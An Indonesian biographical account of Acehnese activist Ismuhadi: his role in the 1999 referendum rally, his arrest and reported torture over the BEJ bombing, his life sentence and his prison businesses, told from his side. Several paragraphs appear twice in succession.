Walau sudah menyibukkan diri dengan sekolah, Ismuhadi tak mampu mengobati kecewaan karena gagal belajar ke Libya. 2 tahun di SMA seraya terus mempelajari beberapa tulisan DR.Tgk.Hasan di Tiro tentang perjuangan rakyat Aceh. DR.Tgk.Hasan di Tiro adalah satu-satunya tokoh yg mengilhami Ismuhadi tentang pentingnya harga diri sebuah bangsa, “dignity”. Menurut Ismuhadi, sampai saat ini, belum ada tokoh Aceh yang mampu menggantikan kecerdasan Wali Nanggro dalam memperjuangkan Aceh. Ia berterus terang, terinspirasi dengan beberapa tulisan Wali.Ia terinspirasi terlalu dalam, sehingga membuatnya frustrasi dan membolos sekolah. Daripada membaca buku pelajaran di sekolah, Ismuhadi lebih memilih membaca tulisan Wali Nanggroe. Ismuhadi ke Keumala Pidie. Ia berbulan-bulan tak masuk sekolah, akhirnya Ismuhadi tak naik kelas. Gagal belajar ke Libya dan gagal di sekolah lalu ismuhadi pergi menjauh dari Aceh.
Lalu, ia pindah sekolah ke SMA Depok Jawa Barat. Namun Tuhan menentukan lain; Sambil melanjutkan sekolah di SMA Depok, Ismuhadi bertemu dengan T. Taqwallah alias Tgk Wan Botak dari Idi, yang baru saja tiba di Pulau Jawa. Ia pulang dari Libya melalui Malaysia lalu ke Singkawang dan Tanjung Priok. Tgk.Wan baru saja menyelesaikan pendidikannya di Libya. Nostalgia dengan perjuangan rakyat Aceh termemory kembali, cinta lama bersemi kembali.
Syahdan, tahun 1990, masa ganas-ganasnya DOM di Aceh, banyak pemuda Aceh yang lari menyelamatkan diri keluar Aceh, di antaranya, serombongan pemuda Nisam yang dipimpin M.Yusuf. Mereka tak mendapatkan tempat yang selayaknya di mata masyarakat Aceh jabotabek. Umumnya, penduduk Aceh di perantauan itu takut dengan efek DOM di Aceh.
Ismuhadi yang tingkat sosialnya tinggi pun tergerak hati untuk memperlakukan pengungsi dari Nisam Aceh Utara itu sebagaimana layaknya manusia. Tak cukup dengan itu, di Pasar Lama Jalan Dewi Sartika Depok, Ismuhadi menempel pengumuman “Bagi pengungsi Aceh yang butuh tempat berteduh, silahkan tinggal di rumah kontrakan Ismuhadi”.
Umumnya para pengungsi Aceh itu tak punya skill formal, tak mungkin dapat pekerjaan yang layak di Depok. Untuk biaya hidup sehari-hari, kami berdagang sayur kacang panjang di Pasar Kemiri Depok. Setiap malam kami naik kereta api ke Bogor untuk belanja sayur lalu kami jual di Pasar Depok. Setelah uang terkumpul dan cukup untuk tiket ke Malaysia, berangkatlah mereka merantau ke Malaysia. Sementara itu Ismuhadi melanjutkan hidupnya di Depok. Hingga kini Ismuhadi tak pernah bertemu lagi dg mereka. Apakah mereka masih hidup atau ditangkap aparat, Ismuhadi tak pernah tahu kabarnya.
Berbekal ijazah SMA, pada tahun 1991 Ismuhadi diterima bekerja di sebuah perusahaan Swedia yang bermarkas di JL. Fatmawati Jaksel, sebagai tenaga pemasaran. Memulai karir dari sales door to door lalu menjadi supervisor. Setelah merasa ilmu pemasarannya cukup, Ismuhadi keluar dari tempatnya bekerja untuk memulai wiraswasta. Ia pun pindah ke Pejaten Timur Jakarta Selatan.
Ismuhadi memulai usaha tambak udang di Desa Pakis Jaya, Karawang Jabar. Ia pun berjoin dengan pengusaha Jakarta, untuk membuka perusahaan bahan kimia anti rayap merk wazary dar Jepang di Roxy Mas Jakarta Pusat. Saat itu, kehidupannya terputus dengan perjuangan Aceh. Kontak dengan kawan lama pun tak ada sama sekali. Ia terus berkonsentrasi mencari uang hingga 1994.
Tahun 1994, Ismuhadi pulang ke Aceh dan menikah dengan Aznani, teman kelasnya pada waktu SMA di Cot Gapue, yang ternyata masih keluarga dekatnya. Bahkan, pada masa ibunda Ismuhadi sekolah dulu, tinggalnya di rumah kakek Aznani. Setelah berbulan madu, Ismuhadi memboyong Aznani ke Jakarta. Masa-masa awal berumah tangga, Ismuhadi mendapat cobaan berat, ditipu oleh rekan bisnis, dan Ismuhadi bangkrut.
Aznani mulai mengandung anak pertama, Ismuhadi tak punya cara lain untuk menyambung hidupnya. ,aka ia pun menjadi sopir President Taxi. Sebulan membawa taxi datanglah berkah dari Allah SWT yg tak akan dilupakan seumur hidupnya. Pucuk dicinta ulam pun tiba. Hari besejarah itu. Ismuhadi dapat penumpang warga negara Jepang yang kemudian menawarkan agar Ismuhadi ikut bekerja pada keluarga Jepang tsb.
Awalnya bertugas sebagai sopir pribadi boss di JICA. Ia merasa pengetahuannya terlalu sedikit, sehingga ia selalu merasa . untuk menghilangkan kebodohan itu, setiap malam pulang kerja Ismuhadi menyempatkan diri untuk belajar sampai tertidur. Usahanya itu amat berguna. 6 bulan jadi sopir, ia diangkat menjadi staff, tepat saat itu menjelang anak pertamanya lahir. Yang lebih menyenagkan lagi, Ismuhadi dikukuhkan menjadi anak angkat dari keluarga Tadashi Uchida.
Putra pertama Ismuhadi pun lahir, lalu ia mendapatkan kehormatan, anak Ismuhadi boleh memakai nama Tadashi, yang ditandatangi sertifikatnya oleh semua anggota keluarga bossnyayang berkebangsaan Jepang tersebut. Setahun bekerja, Ismuhadi diangkat menjadi sekretaris pribadi hingga masa tugas Mr.Tadashi Uchida berakhir di Jakarta dan kembali ke jepang.
Tahun 1999, awal Ismuhadi diundang oleh DR.Mukhtar Ansary untuk hadir pada acara rapat di Asrama Haji Pondok Gede Jawa Barat. Untuk menyikapi persoalan Aceh pada masa itu. Di sanalah tercetus ide mendirikan Forum Perjuangan dan Keadilan untuk Rakyat Aceh (FOPKRA).
Ismuhadi sebagai anggota biasa. Relasi bisnisnya yang bernama Fadloen Hasan Langsa, tinggal di Bendungan Hilir, menjadi ketua DPW DKI, dan Nurmasyitah Ali menarik Ismuhadi agar duduk sebagai ketua pengerahan massa DKI.
Debut pertama FOPKRA adalah mengkonsolidasikan kekuatan, membentuk plat form dan arah-arah perjuangan. Pada masa itu DPP FOPKRA dipimpin oleh Tgk.Salahuddin Alfatah, Tgk.Waisul Qarany dan Tgk.Muzakkir Samidan, juga ada Ismail Beurdan dan tokoh-tokoh berbobot lainnya. Lahirlah istighasah pertama di Mesjid Al-Azhar Kebayoran. Di sana Ismuhadi mulai kenal dengan beberapa tokoh masyarakat, di antaranya, Alm Jafar Sidik Hamzah, Ilyas HN, Teuku Amir Husen dll.
Melihat animo masyarakat Aceh Jabotabek yang sangat tinggi kepeduliannya terhadap saudara-saudaranya yang menderita di Aceh, membuat FOPKRA sebagai wadah penampung aspirasi masyarakat Aceh Jabotabek itu tumbuh berkembang sangat cepat. FOPKRA Tidak menyaingi Taman Iskandar Muda yang sudah sangat berpengalaman mengurusi masyarakat Aceh Jabotabek, namun FOPKRA hadir sebagai wadah penampung aspirasi yang tidak ada tempat dalam wadah Paguyuban Taman Iskardar Muda.
FOPKRA mendukung aksi-aksi mahasiswa Aceh yang sering berdemo ke DPRRI dan Istana Negara untuk menuntut perlakuan adil bagi Aceh.
Pertemuan mahasiswa di Aceh melahirkan SIRA, yg kemudian terkenal dengan aksi Referendum yang mampu menurunkan massa terbesar dalam sejarah Aceh. SIRA dikomandani oleh Muhammad Nazar dan Alm Tjut Nurasikin (tapol/napol Aceh yang meninggal di dalam penjara Lhoknga akibat terjangan ombak tsunami). Apa yang sedang terjadi di Aceh kemudian mengilhami Ismuhadi,
“Jika di Aceh yang serba susah dan terbatas serta terancam jiwanya, Muhammad Nazar dkk mampu menggelar aksi tuntutan referendum bagi Aceh, kenapa kita yang hidup enak dan aman di Jakarta tak berbuat seperti Nazar dkk di Aceh ?” Pertanyaan tersebut Ismuhadi lemparkan di hadapan beberapa tokoh masyarakat Aceh yang sedang berkumpul di salah satu kantor RW di Jalan Marga Satwa Pondok Labu. Gayung bersambut, ide Ismuhadi ditanggapi positif dan didukung penuh oleh Bpk Drs.Saleh Manaf.
November 1999, terbentuklah panitia aksi tuntutan referendum bagi Aceh ke DPR RI, Ismuhadi sebagai ketua umum panitia tsb. Berkat hubungan baik dengan Willy, seorang turunan Cina, pengusaha sukses Magelang, Ismuhadi diantar ke rumah Ir.Hatta Rajasa. Ismuhadi ingin memastikan bahwa pada hari H nanti, Amin Rais bersedia menerima utusan.
November 1999 tersebut merupakan aksi bersejarah bagi masyarakat Aceh Jabotabek. Aksi terbesar dalam sejarah perantauan masyarakat Aceh ke Pulau Jawa. Masyarakat Aceh berbondong-bondong dari Ujung Jawa Timur sampai ke Ujong Kulon Jawa Barat berkumpul ke DPR RI, menuntut pemerintah pusat agar menghentikan Operasi Militer di Aceh, mencabut DOM atau memberikan referendum bagi Aceh untuk memilih tetap bergabung dengan NKRI atau berpisah sebagai negara yang berdaulat.
Puluhan ribu masyarakat Aceh tumpah-ruah ke DPP RI. Perwakilan diterima oleh Amin Rais dan tokoh-tokoh nasional lainnya. Selesai berorasi, masyarakat Aceh tersebut semuanya berjalan kaki dengan tertib dari Senayan ke Mesjid Istiqlal Jakarta dan bubar.
Sukses besar menggelar aksi damai tersebut bukan semata-mata karena Ismuhadi, itu berhasil berkat dukungan penuh dari GAM dan SIRA di Aceh. Taman Iskandar Muda Jabotabek, FORKA dan Lsm lainnya, Muhammad Nazar dkk. Yang terpenting adalah rasa solidaritas masyarakat Aceh di Pulau Jawa yang begitu tinggi kepada saudaranya yang menderita di Aceh. Perantau Aceh yang bertebaran seantero Pulau Jawa itu rela menutup toko dan bolos kerja maupun kuliah demi menunjukkan rasa solidernya. Itu saj yang perlu diingat.
Usai menggelar perhelatan besar aksi tuntutan referendum ke DPRRI, kembali ke agenda FOPKRA menuntut keadilan bagi korban DOM di Aceh, melindungi satu-satunya saksi hidup dalam tragedi pembantaian Tgk Bantaqiah dan murudnya. Selain itu, Ismuhadi disibukkan oleh kedatangan anggota2 GAM yang sedang tugas ke Jakarta maupun yg menyelamatkan diri dari kejaran aparat di Aceh.
Rumah dan bengkel serta pool bis Ismuhadi menjadi tempat penampungan sementara. Masa itu Ismuhadi sering dikunjungi oleh tokoh-tokoh pejuang Aceh, di antaranya Alm.Tgk.Ishak Daud, Alm Tgk.Ismail Saputra, Sayed Mustafa Usab dll. Bahkan kemudian hari Ismuhadi mulai membatasi diri dalam menampung pelarian dari Aceh, kecuali mereka membawa surat dari panglima wilayahnya masing-masing di Aceh, seperti memo yang sering diterima dari Almarhum Bang Jack Kapolda Pasee. Atau setidaknya menerima pesan lewat Handphone dari Zakaria Saman alias Tgk.Karim alias Raja Tjut yang bermukim di Siam Thailand, pun dari Ustadz Ilyas Abed di Aceh, untuk memastikan orang-orang yang perlu dibantu di jakarta adalah benar-benar pejuang Aceh.
Ismuhadi juga mendapat undangan dari beberapa lembaga dunia, baik untuk hadir dalam seminar maupun pelatihan Pemberdayaan Masyarakat Sipil di tengah konflik. Belajar hukum humaniter dan hukum perang yang mengatur cara berperang agar tidak mengorbankan anak-anak, perempuan dan penduduk sipil. Bahkan Ismuhadi mendapat kehormatan berkunjung ke Negeri Belanda bersama Salahuddin Alfatah dan Muhammad Nazar Sira untuk bertatap muka lansumg dg pimpinan GAM di negeri tersebut.
Dalam kesempatan itu Ismuhadi sempat membawa ratusan lembar photo kekejaman perang di Aceh, lalu menyerahkan kepada ‘Paduka Yang Mulia Tgk.Malek Mahmud al Haytar agar disampaikan kepada Paduka Yang Mulia Wali Nanggroe DR.Tgk.Hasan M di Tiro. Sepulang dari Negeri Belanda, Ismuhadi menyempatkan diri menerbitkan buku berjudul “Mengapa Sumatera Menggugat” yang ditulis oleh Tgk.Yusra Habib Abdul Gani di Denmark. Dan setelahnya, bersama Almarhumah Tjut Nurasikin dan Sayed Mustafa Usab, Ismuhadi ke Singapura bertemu Tgk. Malek Mahmud Alhaytar.
Tahun 2000
Seluruh bisnis Ismuhadi dipercayakan pada orang-orang kepercaannya. Sementara itu, dia lebih banyak mencurahkan perhatian pada perjuangan Aceh. Sangking banyaknya orang-orang yang diurus, pernah suatu ketika isterinya mengeluh, tapi Ismuhadi tetap teguh pada pendirian dan tekadnya yang selalu berkat “semua ini tugas dari Allah SWT”, kemudian isterinya mengamini dan mendukung dari belakang. September 2000, Ismuhadi kedatangan tamu dari Malaysia, Tgk.Tahe Hasan atau lebh dikenal dengan nama Tgk.Raya Panyang (kini bekerja di kantor BRA Banda Aceh) yang harus ditampung di rumah Ismuhadi di Jakarta.
Seluruh bisnis Ismuhadi dipercayakan pada orang-orang kepercaannya. Sementara itu, dia lebih banyak mencurahkan perhatian pada perjuangan Aceh. Sangking banyaknya orang-orang yang diurus, pernah suatu ketika isterinya mengeluh, tapi Ismuhadi tetap teguh pada pendirian dan tekadnya yang selalu berkat “semua ini tugas dari Allah SWT”, kemudian isterinya mengamini dan mendukung dari belakang. September 2000, Ismuhadi kedatangan tamu dari Malaysia, Tgk.Tahe Hasan atau lebh dikenal dengan nama Tgk.Raya Panyang (kini bekerja di kantor BRA Banda Aceh) yang harus ditampung di rumah Ismuhadi di Jakarta.
Tgk. Raya Panyang pernah menampung Ismuhadi di Kajang Malaysia, pada waktu transit di Kuala Lumpur sebelum terbang ke Negeri Belanda. Atas rasa balas jasa itulah Ismuhadi merasa berkewajiban mengurus dengan sebaik-baiknya Tgk.Raya Panyang selama berada di Jakarta.
24 Sept 2000, kebetulan hari itu Ismuhadi menangani sendiri penjualan sebuah mobil ke pembeli di jalan Margonda Depok, Ismuhadi ditelpon oleh kepala bengkel, memberitahukan bahwa seluruh karyawan dan tamu bengkel ditangkap polisi dibawa ke Polsek Jagakarsa.
Sempat panik dan bertanya kenapa mereka ditangkap polisi, ada salah apa pada polisi, tapi tak ada yang tahu. Serta merta, Ismuhadi menyerahkan mobil ke pembeli di Bank BCA Margonda, lalu shalat dzuhur. Rasa tanggung jawabnya terhadap orang-orang yang menumpang di bengkel, terutama Tgk Raya Panyang, membuat tekad Ismuhadi bulat untuk membela mereka. Dengan sigap, ia menyetop taxi dan minta diantarkan ke Polsek. Sesampai di polsek, Ismuhadi malah diusir sama petugas piket gerbang.
Salah seorang polisi bernama Joko yang sering memperbaiki mobil di bengkel Ismuhadi lalu menunjuk-nunjuk, dengan isyarat, kawan Ismuhadi yang barusan ditangkap, kini di atas, di lantai dua sedang diperiksa. Saat itu baru saja Sayed Mustafa dan Tgk Raya Panyang dibebaskan dan diijinkan meninggalkan polsek. Hati Ismuhadi lega karena tak terjadi apa-apa pada Sayed Mustafa dan Tgk Raya Panyang. Namun tetap Ismuhadi belum meninggalkan polsek karena seluruh karyawan dan beberapa orang tamu bengkel masih diperiksa, bahkan sampai menjelang magrib, lalu dibawa ke Polda Metro Jaya.
Siang terik dan mengerikan itu, Ismuhadi menyusul ke Polda Metro Jaya. Di sana ia menunggu orang yang ditampungnya selesai diperiksa satu persatu. 28 orang lansung dimasukkan ke tahanan. Ia masih menunggu. Namun bukan kawannya dilepaskan, malah pada jam 02.00, Ismuhadi diperiksa seputar peristiwa meledaknya bom di gedung BEJ. Ismuhadi selesai diperiksa pada jam 04.15. Lalu disuruh pulang.
Kombes Harr Montolalu memanggil AKP Eko; “Eko, Si Tengku ini suruh balik kanan aja.” “Siap ‘ndan,” jawab AKP Eko. Lalu ia menoleh Ismuhadi. “Tengku, ayo saya antar pulang.” baru dua langkah keluar dari pintu ruangan pemeriksaan, tiba-tiba Kombes Harry Montolalu memanggil lagi dan bertanya; “Tengku kenal dengan Iwan Setiawan alias Husen Jen?” “Ga kenal pak,” jawab Ismuhadi. Tiba2 seorang serse membawa Iwan Setiawan ke hadapan Ismuhadi. “Ini orangnya, kenal enggak kamu sama dia, Teungku?” Tanya Kombes.
“Enggak kenal Pak,” jawab Ismuhadi, yang berani bersumpah demi Allah, ia belum kenal siapa Husen Jen. Lalu Husen Jen menyela, “Bohong pak, dia boss saya. Dia yang menyuruh saya meledakkan bom di BEJ. Serta merta beberapa polisi berpakaian preman memukul Ismuhadi dan terjerembab ke bawah kolong meja lalu diborgol dan dibuatkan surat perintah penahanan, lalu diisolasi dari yang lain2nya.
Awal Mala Petaka Bagi Ismuhadi dan Keluarga
Selama tujuh hari tujuh malam Ismuhadi diisolasi. Siang dan malam diinterogasi, ditendang, digantung kepala ke bawah bahkan distroom dengan kabel listrik, ditelanjangi bahkan kemaluan disundut dg api rokok, disiksa untuk mendapatkan pengakuan. Ismuhadi tidak tahu apa yang harus diakuinya karena memang tidak tahu apa tentang bom BEJ.
Selama tujuh hari tujuh malam Ismuhadi diisolasi. Siang dan malam diinterogasi, ditendang, digantung kepala ke bawah bahkan distroom dengan kabel listrik, ditelanjangi bahkan kemaluan disundut dg api rokok, disiksa untuk mendapatkan pengakuan. Ismuhadi tidak tahu apa yang harus diakuinya karena memang tidak tahu apa tentang bom BEJ.
Namun karena tidak kuat menahan siksaan, akhirnya Ismuhadi memohon kepada aparat yang menyiksanya agar dia jangan disiksa lagi. “Tolong ditembak saja saya, agar mati, karena tidak kuat menahan siksaan,” pinta Ismuhadi. Setelah Ismuhadi memohon agar ditembak, aparat penyiksanya mulai berhenti menyiksa, lalu menyerahkan Ismuhadi ke polisi penyidik yang baik dan sopan. Ia pun dipertemukan dengan pengacara Hendardi dari PBHI.
Ke Penjara Cipinang
Setelah 4 bulan dikurung dalam sel pengap di Polda Metro Jaya, lalu Ismuhadi dipindahkan ke penjara Cipinang. Saat di sana, ia mulai sedikit lega karena dapat dikunjungi oleh keluarga dan kawan-kawan maupun tokoh masyarakat Aceh di Jakarta.
Setelah 4 bulan dikurung dalam sel pengap di Polda Metro Jaya, lalu Ismuhadi dipindahkan ke penjara Cipinang. Saat di sana, ia mulai sedikit lega karena dapat dikunjungi oleh keluarga dan kawan-kawan maupun tokoh masyarakat Aceh di Jakarta.
Kekayaannya Raib
Namun yang paling menyedihkan baginya adalah, yang dulu Ismuhadi cari dengan keringatdemi isteri dan anak-anaknya, lenyap begitu saja. Empat belas unit stok mobil bekas untuk dijual beli raib diangkut polisi tanpa surat tanda terima barang sitaan. Spare part, olie dan ban mobil beserta peralatan bengkel senilai 700 juta lebih telah hilang tanpa ada saksi siapa yangmengambilnya. Tiga rekening bank di BCA Pondok Indah, Danamon Pondok Indah dan BNI Pasar Minggu diblokir polisi.
Namun yang paling menyedihkan baginya adalah, yang dulu Ismuhadi cari dengan keringatdemi isteri dan anak-anaknya, lenyap begitu saja. Empat belas unit stok mobil bekas untuk dijual beli raib diangkut polisi tanpa surat tanda terima barang sitaan. Spare part, olie dan ban mobil beserta peralatan bengkel senilai 700 juta lebih telah hilang tanpa ada saksi siapa yangmengambilnya. Tiga rekening bank di BCA Pondok Indah, Danamon Pondok Indah dan BNI Pasar Minggu diblokir polisi.
Yg tertinggal hanya bis kota yang kebetulan dibawa pulang dan diselamatkan oleh sopir masing-masing bis. Rumahnya pun disegel polisi. Isteri dan anak-anaknya mengungsi ke rumah Nur Masyitah Ali. Sejak itu, isteri dan anak Ismuhadi berpindah-pindah tempat. Tadashi Mulana tidak berani sekolah karena malu pada teman-temannya. Cahya Keumala masih dalam gendongan.
Hidup dari Belas Kasihan Penjenguk
Selama menghadapi masa sidang, Ismuhadi hidup di penjara. Di kurungan terali baja itu ia menggantungkan diri pada belas kasihan orang-orang yang membesuknya. Ia sangat beryukur, saat itu banyak ia terima sumbangan dari teman-temannya di Aceh yang tidak dapat disebutkan satu persatu. Dia ikhlas setelah tahu seluruh harta yang dikumpulkan bertahun-tahun lenyap dalam sekejap mata. Ia sadar, saat lahir ke dunia tidak membawa apa pun jua.
Selama menghadapi masa sidang, Ismuhadi hidup di penjara. Di kurungan terali baja itu ia menggantungkan diri pada belas kasihan orang-orang yang membesuknya. Ia sangat beryukur, saat itu banyak ia terima sumbangan dari teman-temannya di Aceh yang tidak dapat disebutkan satu persatu. Dia ikhlas setelah tahu seluruh harta yang dikumpulkan bertahun-tahun lenyap dalam sekejap mata. Ia sadar, saat lahir ke dunia tidak membawa apa pun jua.
Ismuhadi yakin, semua yang dimiliki di dunia bahkan dirinya sendiri pun milik Allah SWT. Ismuhadi ikhlas. Fokus Ismuhadi adalah bagaimana menghadapi persidangan.
Divonis 20 Tahun Penjara
Jaksa mendakwanya sebagai panglima GAM Wilayah Jabotabek, dan menuntut Ismuhadi dengan hukuman mati. Ismuhadi telah maksimal membela diri namun hakim bersikukuh menjatuhkan vonis 20 tahun penjara.
Jaksa mendakwanya sebagai panglima GAM Wilayah Jabotabek, dan menuntut Ismuhadi dengan hukuman mati. Ismuhadi telah maksimal membela diri namun hakim bersikukuh menjatuhkan vonis 20 tahun penjara.
Jaksa Endang Rachwan, SH melakukan konferensi pers stelah menuntut Ismuhadi. Jaksa itu bilang, sangat pantas Ismuhadi dituntut hukuman mati, karena Ismuhadi berjuang untuk memerdekakan Aceh.
Putusan dua puluh tahun penjara dinilai tak adil oleh Ismuhadi, karena keputusan itu bukan proses pengadilan, namun proses penghukuman. Merasa diperlakukan tak adil, Ismuhadi banding ke Pengadilan Tinggi DKI. Putusan pengadilan tingkat tinggi menguatkan putusan pengadilan negeri, artinya ia tetap dihukum 20 tahun penjara. Ismuhadi tak terima dihukum 20 tahun, lalu ia mengajukan kasasi ke Mahkamah Agung.
Hukuman Bertambah Jadi Seumur Hidup
Setelah 2 tahun menunggu putusan mahkamah agung, Ismuhadi dikejutkan dengan putusan vonis bahwa Ismuhadi dinaikkan hukuman menjadi hukuman seumur hidup, sama dengan hukuman yang diterima Irwan Tiro dan Ibrahim Hasan Sawang. Mengahrap keringanan malah beban bertambah.
Setelah 2 tahun menunggu putusan mahkamah agung, Ismuhadi dikejutkan dengan putusan vonis bahwa Ismuhadi dinaikkan hukuman menjadi hukuman seumur hidup, sama dengan hukuman yang diterima Irwan Tiro dan Ibrahim Hasan Sawang. Mengahrap keringanan malah beban bertambah.
Menjalani hukuman seumur hidup tidaklah mudah bagi Ismuhadi, namun ia tak putus asa dengan statusnya. Dia berperinsip, hidup tak boleh selamanya bergantung pada orang lain, apalagi menjadi parasit. Isteri Ismuhadi mengurus anak-anak mereka, mengurus usaha bis yang masih tersisa. Isteri Ismuhadi sangat setia. Ismuhadi berpesan kepada isterinya agar jangan memikirkan tentang biaya hidup Ismuhadi di penjara, tapi besarkanlah usaha bis kota yg tersisa itu utk biaya hidup Aznani dan anak mereka yang lain.
Merintis dalam Penjara
Dengan modal seadanya Ismuhadi memulai usaha di dalam penjara. Usaha pertama yang digelutinya adalah menanam sayur di lahan-lahan kosong dan beternak ayam yang lalu dijual pada sesama penghuni penjara. Setelah beberapa waktu berlalu, untuk mengisi hari-hari di penjara, Ismuhadi memulai usaha warung yang lalu tumbuh berkembang hingga menjadi 5 warung di dalam penjara Cipinang. Bahkan ia mulai mampu menata kembali usaha-usahanya di luar penjara yang selama ini telah terlantar.
Dengan modal seadanya Ismuhadi memulai usaha di dalam penjara. Usaha pertama yang digelutinya adalah menanam sayur di lahan-lahan kosong dan beternak ayam yang lalu dijual pada sesama penghuni penjara. Setelah beberapa waktu berlalu, untuk mengisi hari-hari di penjara, Ismuhadi memulai usaha warung yang lalu tumbuh berkembang hingga menjadi 5 warung di dalam penjara Cipinang. Bahkan ia mulai mampu menata kembali usaha-usahanya di luar penjara yang selama ini telah terlantar.
Contohnya, kebun kelapa sawit milik Ismuhadi di Aceh Timur yang pernah diancam Pemda Aceh Timur, bila tak diurus akan dibagi-bagikan kepada masyarakat, kini telah terurus kembali. Ismuhadi selalu bersyukur memiliki isteri yang cantik dan setia serta anak-anak yang cerdas. Bagi Ismuhadi, itu semua rahmat Allah yang tak terhingga baginya. Meski terpenjara, setidaknya Ismuhadi merasa lebih beruntung dari 2 kawannya, Irwan Tiro dan Ibrahi Sawang.
Ibrahim telah lama ditinggal oleh isterinya yang kawin dengan orang lain setelah tahu Ibrahim Sawang dihukum seumur hidup dan tak mampu membiayai keluarganya. Ketidakmampuannya membiayai keluarga karena Ibrahim sawang 5 tahun dirantai di dalam penjara Cirebon Jawa Barat, ia tak bisa berbuat apa-apa. Begitu juga yang menimpa Irwan Tiro yang dihukum seumur hidup dalam kasus serupa Ismuhadi. Keluarga isteri Irwan Tiro menggugat ke pengadilan agama agar dijatuhkan talak terhadap Irwan Tiro yang sedang menjalani hukuman seumur hidup di penjara.
Kenangan dengan Irwandi Yusuf
Meski pahit dan getir sekali rasanya hidup di penjara, Ismuhadi selalu menuliskan kenangan manisnya di penjara bersama beberapa orang yang kini telah menjadi tokoh penting di Aceh. Misalnya pada saat penangkapan Irwandi Yusuf di Jakarta. Tentang Irwandi Yusuf, Ismuhadi punya kenangan.
Meski pahit dan getir sekali rasanya hidup di penjara, Ismuhadi selalu menuliskan kenangan manisnya di penjara bersama beberapa orang yang kini telah menjadi tokoh penting di Aceh. Misalnya pada saat penangkapan Irwandi Yusuf di Jakarta. Tentang Irwandi Yusuf, Ismuhadi punya kenangan.
‘Berkat bantuan perwira polisi Teuku Saladin Kanit Kamneg Polda Metro saat itu (kini Kapolres Bireuen) Ismuhadi bisa bicara lansung dengan atasan T.Saladin yaitu Kombes Tito Karnivian;
“Pak Tito, Saya Ismuhadi di penjara Cipinang. Irwandi yang Bapak tangkap itu saudara saya, tolong Bapak perlakukan secara manusiawi, jangan disiksa, jangan ditembak mati, kalau mau dihukum, silahkan hukum berapa lapis pasal pun tak apa-apa.” Pinta Ismuhadi.
“Baik Tengku, akan saya jaga dia,” jawab Pak Tito. Pak Tito ini adalah seorang polisi berpendidikan tinggi dan cerdas menurut Ismuhadi, dia respek kepada Ismuhadi meski Ismuhadi seorang narapidana. Kenangan paling manis bagi Ismuhadi adalah saat Tgk Nasruddin bin Ahmed dikirim ke Cipinang lalu sekamar dengannya. Ismuhadi sangat kagum pada Tgk Nasruddin bin Ahmed. Menurut Ismuhadi, dia orang cerdas dan taät beribadah.
Suatu hari ada bom meledak di Atrium Senen. Anehnya, Ismuhadi lagi yang dituduh. Isteri Ismuhadi ditahan di Polda. Dalam penjara itu, Ismuhadi gelisah mondar-mandir setelah melihat di televisi isterinya ditangkap. Tgk Nasruddin bin Ahmed berpesan; “Jangan panik, wudhu dan shalat sunnah mengadu sama Allah SWT.” Maka Ismuhadi menuruti sarannya. Setelah itu, isteri Ismuhadi dibebaskan dari Polda Metro Jaya
Nasehat Tgk Nasruddin bin Ahmed pun sangat berguna bagi Ismuhadi ketika kasus Ismuhadi, Ibrahim, Irwan dibawa ke Swedia oleh Pemerintahan Megawati yang dianggap sebagai bukti bahwa GAM telah melakukan tindakan terorrisme di Wilayah Republik Indonesia.
Diminta Jebloskan Petinggi GAM di Swedia ke penjara
Tgk Nasruddin bin Ahmed dan Ustadz Ilyas Abed tahu persis apa jawaban Ismuhadi dan temannya. Pertama sekali tim dari Mabes Polri datang mengambil lagi berita acara pemeriksaan terhadap Ismuhadi denagn tuduhan melanggar pasal 106, 107, dan 108 KUHP.
Tgk Nasruddin bin Ahmed dan Ustadz Ilyas Abed tahu persis apa jawaban Ismuhadi dan temannya. Pertama sekali tim dari Mabes Polri datang mengambil lagi berita acara pemeriksaan terhadap Ismuhadi denagn tuduhan melanggar pasal 106, 107, dan 108 KUHP.
Lalu, sebulan kemudian jaksa dari Swedia mewawancarai Ismuhadi dan temannya. Hasilnya, jaksa Swedia kembali ke negerinya lalu menuntut bebas dan memberi ganti rugi kepada para pimpinan tinggi GAM di Swedia.
“Kalau ditanya kenal dengan wali, siapa orang Aceh yang tak kenal wali, tapi wali tak kenal kami,” jawab Ismuhadi. Lalu tim pembela PDI berkunjung ke Cipinang merayu agar Ismuhadi menandatangani permohonan grasi pada Presiden Megawati, dijamin akan dibebaskan.
“Kalo presiden mau membebaskan seseorang dia punya hak perogratif, tak perlu saya menandatangani surat permohonan grasi (mengaku salah dan minta ampunan) pada presiden,” tegas Ismuhadi.
Tim PDI itu berjanji, Ismuhadi lansung bebas setelah tandatangan grasi. Ismuhadi bertanya; “Untuk apa surat permonan grasi harus saya tandatangani ?”
“Untuk bukti agar pimpinan GAM di Swedia dapat dihukum.”
“Oh, no way, mereka yang di Swedia tak pernah perintahkan kami untuk melakukan teror,” tegas Ismuhadi, yang tak mampu mengorbankan orang lain agar dirinya terbebas dari penjara. Terlebih para petinggi GAM di Swedia adalah tokoh-tokoh yang dikaguminya. Bahkan matipun takkan membuat Ismuhadi berkhinat, apalagi petinggi GAM tak pernah mengeluarkan perintah agar meneror Jakarta. Menurut dokrin GAM yang diketahui Ismuhadi, di masa perang, musuh pejuang Aceh yang ada di Aceh.
Penghujung tahun 2004, gempa menguncang Aceh, dan gelombang tsunami memporak-porandakan sebagian bumi Iskandar Muda. Ismuhadi terkesima menyaksikan di televisi, lidahnya kelu tak mampu berkata apa-apa, hanya air mata deras mengalir di pipi. Di balik jeruji besi itu, Ismuhadi tak mampu berbuat apa-apa untuk menolong saudaranya yang tengah ditimpa musibah nun jauh di kampung halaman, hanya mampu berdo’a dan menangis hingga matanya bengkak.
Galang Dana untuk Korban Tsunami
Teman-teman sesama penghuni penjara berdatangan berkumpul di depan kamar Ismuhadi. Khusu bagi yang beragama Islam dan berasal dari Aceh, menggelar takdziah dan membaca yassin di kamar Ismuhadi. Seminggu kemudian, Ismuhadi menerima sumbangan uang dan pakaian dari keluarga-keluarga sesama penghuni penjara, lalu Lapas Cipinang secara resmi mengadakan acara resmi ‘Malam Renungan Aceh.
Teman-teman sesama penghuni penjara berdatangan berkumpul di depan kamar Ismuhadi. Khusu bagi yang beragama Islam dan berasal dari Aceh, menggelar takdziah dan membaca yassin di kamar Ismuhadi. Seminggu kemudian, Ismuhadi menerima sumbangan uang dan pakaian dari keluarga-keluarga sesama penghuni penjara, lalu Lapas Cipinang secara resmi mengadakan acara resmi ‘Malam Renungan Aceh.
